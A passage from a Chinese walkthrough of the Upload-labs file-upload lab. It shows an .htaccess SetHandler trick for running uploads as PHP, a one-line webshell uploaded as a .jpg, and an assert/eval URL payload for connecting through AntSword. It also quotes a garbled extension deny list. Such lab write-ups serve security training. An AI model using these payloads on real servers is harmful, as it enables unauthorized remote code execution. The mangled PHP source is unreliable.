Upload-labs 1-20关靶场通关攻略(全网最全最完整)

Sethandler application/x-httpd-php


这是将本目录及所有子目录的所有文件都解析为php文件


![](https://img-blog.csdnimg.cn/direct/cb2d893e447c46f8b246441c0c453f1d.png)![](https://img-blog.csdnimg.cn/direct/d577f0dda7e54c6dadb1e52a800c47bf.png)


很明显直接上传成功,那么我们再将我们的一句话木马上传,当然在这我们将文件后缀改为jpg格式,反正我们上传后的文件都会被解析为php,而且jpg也不会被过滤掉


上传后直接进行访问,看我们的一句话能否配解析


![](https://img-blog.csdnimg.cn/direct/b4d85da3629c403e9162b6562fcfb632.png)


ok,完美


在这块我们试一下使用蚁剑进行连接,毕竟我们的后门已经上传成功,连接服务器的最后一步肯定是必须的


因为我们写的一句话木马是双get传参,但是蚁剑默认post传参,密码是post参数,


那我们可不可以将第二个参数直接传成post呢,试一下,但很可惜我们的没有连接上


![](https://img-blog.csdnimg.cn/direct/a52d8065ca724fb591549c2ef797dc41.png)


按道理来说应该是可以的,为什么不行呢?


其实是因为蚁剑在连接时,他会查询我们服务器的信息,那么这些代码就要有个执行函数才能执行,那么我们就要在post前加上eval()函数,以让我们的代码能够以命令执行



http://172.16.30.134/upload/web.jpg?0=assert&1=eval($_POST[‘long’])


![](https://img-blog.csdnimg.cn/direct/ae9e2c4298374f5aa2122a97ff5c8782.png)


![](https://img-blog.csdnimg.cn/direct/ba4170ba2a3b483581680f129a955028.png)


### 5、Pass-05(大小写绕过)


啥也不说,直接上传php文件,看提示


显示我们的文件类型不允许


![](https://img-blog.csdnimg.cn/direct/dfac3f16010f4bc5a64e7fe47793fb5a.png)


这关肯定没这么简单,因为前面的第二关就是改了文件类型


我们直接查看源码,看看怎么个事



$is_upload = false;
msg=null;if(isset(msg = null; if (isset(msg=null;if(isset(_POST[‘submit’])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(“.php”,“.php5”,“.php4”,“.php3”,“.php2”,“.html”,“.htm”,“.phtml”,“.pht”,“.pHp”,“.pHp5”,“.pHp4”,“.pHp3”,“.pHp2”,“.Html”,“.Htm”,“.pHtml”,“.jsp”,“.jspa”,“.jspx”,“.jsw”,“.jsv”,“.jspf”,“.jtml”,“.jSp”,“.jSpx”,“.jSpa”,“.jSw”,“.jSv”,“.jSpf”,“.jHtml”,“.asp”,“.aspx”,“.asa”,“.asax”,“.ascx”,“.ashx”,“.asmx”,“.cer”,“.aSp”,“.aSpx”,“.aSa”,“.aSax”,“.aScx”,“.aShx”,“.aSmx”,“.cEr”,“.sWf”,“.swf”,“.htaccess”);
filename=trim(file_name = trim(filename=trim(_FILES[‘upload_file’][‘name’]);
filename=deldot(file_name = deldot(filename=deldot(file_name);//删除文件名末尾的点
fileext=strrchr(file_ext = strrchr(fileext=strrchr(file_name, ‘.’);
fileext=strireplace(′::file_ext = str_ireplace('::fileext=strireplace(::DATA’, ‘’, fileext);//去除字符串::file_ext);//去除字符串::

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值